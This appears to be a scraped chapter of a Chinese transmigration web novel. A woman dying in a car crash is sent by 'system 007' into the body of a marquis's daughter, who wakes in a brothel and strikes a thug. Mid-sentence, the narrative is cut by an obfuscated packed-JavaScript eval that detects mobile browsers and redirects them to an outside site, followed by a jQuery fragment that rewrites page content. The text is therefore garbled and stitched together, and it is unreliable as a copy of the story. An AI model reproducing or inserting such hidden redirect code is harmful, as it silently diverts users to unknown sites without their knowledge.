岑柠出车祸了。
小货车朝她扭扭歪歪撞来的时,脑子了只有两个字“完了”。
她生气吞声坚持了十四年,就是为了离开那个不属于自己的家庭,如今即将研究生毕业,刚到手的教师资格证还热乎着,
却被这辆车撞碎了一切。
她的努力在命运面前就是个笑话。
岑柠躺在地上,垂着眼皮,眼见着自己鲜血淌到了视线边角处,呼吸一次比一次费力。
周围鸣笛声尖叫声从清明到渐渐远去的模糊,直至再也听不到任何声音。
“还不算完。”耳边突然响起一个机械化的声音。
是谁在说话?
嗯?她还能听到声音,她没死!
“是的,你没死,但是在三次元醒来的几率有多大,就得靠你自己争取了。”
那声音顿了顿,继续说:“为了避免差评,还是自我介绍一下。我是系统007,你的专属顾问。为了不吓到二次元的人,我们只能通过梦境交流。”
怎么才能争取活命的机会?岑柠只关心这个。
007说:“三次元的你能不能继续活着,除了看你家人愿不愿意救你,你还可以通过穿书做任务来积攒运气值。”
机械化的声音十分冰冷,每个字都是相同的音调,分辨不出男女。
穿书?
生前,岑柠闲暇之余也看过一些网文,什么重生穿越总觉得扯淡。没想到将死之时,这等好事落到了她的头上,那可得好好把握住。
运气值越高就代表存活率越高是么?岑柠在心中问道。
“是的,但你的情况有点特殊……”
噼里啪啦一阵键盘敲打声,大概是在搜索什么,继续道:“因为你现实世界积攒了不少运气值,所以不必到处穿。只需要完成这个世界的任务,就可以回到三次元。”
那任务是什么?
“你的任务是……”又是一阵鼠标点击的声音,“无。”
啊?
“你没有任务,只有关键词——爱情。”
恋爱脑?人设也太不讨喜了吧,不像是主角啊。
没有任务……那可不可以理解为苟到最后一章就能回到现实世界?
半天没得到回应的岑柠急了。
喂喂喂,还在吗?哈喽,大哥大姐,您还没告诉我剧情啊!别下线啊。
好歹说一下是什么类型的小说吧。
悬疑?耽美?权谋?言情?
不会是玄幻吧,她可是唯物主义者……不过,话说回来,以现在她所处的境况,也不好继续唯物了。
“古代宫廷言情。”007道,“现在告诉你一些基本信息,你姓程名安,字以宁,是大源镇国候程世飞唯一嫡女,今年十五岁,还没出嫁。”
“母亲万娉是扬州首富之女,家中有两个姨娘,兄弟姐妹各一个,氛围和睦融洽,没有宅斗空间。”
“你虽排行老三,但因为是嫡出,所以都称呼你大小姐。你刚到长安三个月,此前一直住在扬州。”
然后呢?
安静片刻,岑柠没等到消息忍不住发问。
“其他必要的信息会随着剧情推进,通过梦境告诉你。如事发突然则会采取紧急避险措施,也就是将线索直接塞进里你脑子。”
“十秒钟之后你会以程安的身体苏醒,十、九、八、七……”
哎,不是,这么快的吗?
没有主线也就罢了,不说说人物性格、生活习惯她怎么演啊?万一露馅会彻底死掉吗……
“一。”
滴——
刺耳的警报声过后,程以宁猛地睁开眼睛,大口大口喘着气,心脏随着呼吸剧烈地跳动着,整个人上半身都在用来呼吸。
仿佛憋气憋到濒死,猛地获得呼吸权,用大肆换气来证明自己真的还活着。大约是劫后余生的恐惧感还未褪去。
几息后缓过神来,程以宁环顾四周,艳色纱帐坠了满屋子,炉里的香熏得她直皱眉,床的不远处还有一些不可言说的“刑具”。
“大爷快来玩儿呀。”
“哎哟真讨厌……”
“小手可真嫩,让大爷摸摸。”
房外传来不堪入耳的声音,佐证了她的猜想——这里是青楼。
公爷家的大小姐在青楼,这要是传了出去有损门楣不说,个人清誉也毁了。
不行,得想办法溜。
刚要跳窗跑,外面响起对话声——
“哎,听说今晚来了不少王公贵子,是真的吗?”
程以宁耳尖绒毛一动,蹲下来听墙根。
看两人剪影似乎在凭栏眺望,时不时向外头挥挥手。
剪影上,一个梳着百合髻女子侧身,道:“是真的是真的,有好几个皇子呢。都坐在正厅阁楼里,出手阔绰也就罢了,长相还个顶个的标志。你快寻个由头也去伺候一会。”
“那李先生可来了?”
“说是来了,可我并未瞧见。不过这位李先生着实神秘,长安东市没人知道他全名,家世渊源更是无从说起,但只要在青楼里提起李先生,那都知道说的是哪位了。”
“我听人说李先生是三皇子。我还听说他温文尔雅,最是怜香惜玉,从不轻贱我们这些风尘中人。其他皇子什么我没甚兴趣,这位李先生我倒是想见上一见,看看是不是……”
“我看你是想让他给你赎身吧。”
“胡说什么呢……”那姑娘急了,作势要打她。
“你就别做春秋大梦了,他虽常帮勾栏女子赎身,却没几个人见过他真容,替人赎身都是差下人来的。想来确有可能是朝廷的。可那三皇子身体羸弱,别说妻妾了,他那晋王府连只鸟都是公的,怎么会喜欢酒池肉林……”
“我可没做梦……”
“说起来,他们往日去的都是东街的桃花源,怎的这次一股脑儿都来了群芳楼?”被戳中的姑娘,突然转移话题。
“都是为了这里头的人而来,”剪影之下看,那姑娘指了指身后。
“是哪里来的花魁?长相如何?与你我相比呢?”
“那姑娘晕着时我见过,面容稚嫩水灵,看着不像是风尘女子。天潢贵胄最是喜欢这类姑娘,你我这般俗物入不到他们的眼。而她呀定能让妈妈赚不少银子呢。”
“妈妈是如何将她弄来的?”
“这我哪里知道,你也不要瞎打听了,快着些去伺候爷。”
万花楼老鸨好大的胆子,竟敢公然贩卖一等侯爵之女,难道就不怕惹来杀身之祸吗?还是说她有必须以身犯险的理由?
不过,现在当务之急是绝不能让人看到她出现在青楼。
程以宁猫着腰走进房中央,找寻能遮脸挡面的东西。
就在此时门就被哐地踢开。
还好是背对着门,一时半会没人瞧见她的正脸。
粗狂的男声在身后炸起:“你居然还有脸偷懒!”
呵,这词她可太熟悉了,没想到了二次世界还能听到。
接着就响起一阵吨位不小脚步声。
一时没找到遮挡物,听着越来越近的脚步声,程以宁快速搜寻房间里可逃跑的路线,无果。
泄气般靠在梳妆台边,手搭在桌上,碰到柔凉的触感,引她垂眸一瞧,是牙色丝巾。
程以宁二话不说,立即拿起挂在耳后。
感觉右边肩膀被推了一下,右耳处炸起一道粗矿的声线,“别半死不活的,赶紧给我出去接客去。”
程以宁就这么被推搡着走了出去。
一打开房门,映入眼帘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668364|173031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的就是一个男子将女子压在栏上猛亲。
从程以宁的角度可以看到,男子上下其手,掀得下裙,大半条腿都露出来了。
女子左右闪躲,欲擒故纵道:“哎呀爷别急嘛……这还在外面呢……”
程以宁未经人事,即便是在开放的三次元,也不曾见过□□的场面,突然看到,冲击力不可谓不小。
她只觉胃里一阵翻江倒海,险些吐出来。
那大汉又推了她一下,“快点啊,光看有什么过瘾的,待会张开腿就能享受到了。”
忍受着污言秽语,低头准备绕过这对共赴巫山的男女之时,发现周围一切都暂停了下来,还没反应过来,007机械声再次响起,“错了。”
什么错了?
“人设错了。程以宁不会忍受,一点委屈都要当场发泄出来。”
不会死吗?
“那就是你要考虑的了。”007说,“你不是本书主角。”
“由于时间关系,为了保证剧情顺利推进,像这样的暂停以后也不会出现了,所以,请谨言慎行。”
这跟她所看到的穿书不太一样。一般网文里有系统的都会下达明确任务,也会提前知道大致剧情。
她现在一整个睁眼瞎。
抱怨归抱怨,但她心底很清楚,活命,从来都不是件容易的事。
007再次倒数完毕,四周的人物重新动了起来。
靠着围栏的男女继续未完成的活动。连刚刚推搡的那一下难受的感觉都续上了,程以宁侧了一下肩膀,转头对他低喝道:“别碰我!”
“哟呵,你来群芳楼这么久,脾气见长啊,还是你三天不打就蹬鼻子上脸啊!”
话落音,大汉一脚踹来,程以宁一个踉跄,身体失控,栏边飞去。
旁边女子当即尖叫起来。
冲击力使她大半个上半身都冲出栏杆外,求生欲爆棚的她下意识紧紧钳住栏杆扶手,硬生生将其拉了回来。
面纱没固定的下半部分,在她脸上晃荡着,所幸耳后挂钩牢靠,使之不至于完全掉落。
方才险些坠楼的程以宁,惊吓程度不比她少。
自己不是主角,若是从四五米高的地方头朝下掉下去,小命若是不保,有没有重开的机会犹未可知。
程以宁惊出一身冷汗,内衫贴在背上难受极了。她大口大口喘着气,扒在栏杆上平复心绪。
下面就是正门大厅,中间舞池里的舞者正愣愣瞅着她,周围的掮客搂着花容失色的女子,也在关注这边,各种意味不明的目光朝她看来。
群芳楼格局是类客家土楼,中间挑空,四周上下都是房间。
是以,只要动静大点,多多少少都会引人注目。
以往她都是在家受骂挨打,就算有围观也只有一个不懂事的弟弟,和他的父亲。
可眼下这么多人看着她单方面挨揍,叽叽喳喳的讨论她,不可谓不丢面。
何况原身还是官府家唯一嫡女,想必是捧在手心里宠大的主儿,那更不会咽下这口气了。
程以宁深呼吸,愤愤转身,连带手一挥,抡圆胳膊,连着给了他俩大逼兜。
打得大汉脸上横肉乱颤,原本就不整齐的五官挤成一团,随后弹回原样。
真恶心,看一眼都觉残忍。相由心生这话真不假。
不再看他,程以宁甩了甩发麻的手掌,皱着眉瞥了掌心一眼。一手将多余的宽袖向上拢了拢,那只打人的手往一旁的红漆柱子上猛蹭。
真是打了都嫌晦气。
“好你个小娘们!竟敢打老子!”大汉朝下边喝到:“来人!把她给我拖去后面的柴房!”
“今天,我就替妈妈好好训训你这个不知尊卑上下的贱种!”黑得像烧火棍一样的手指朝她脸上就来了。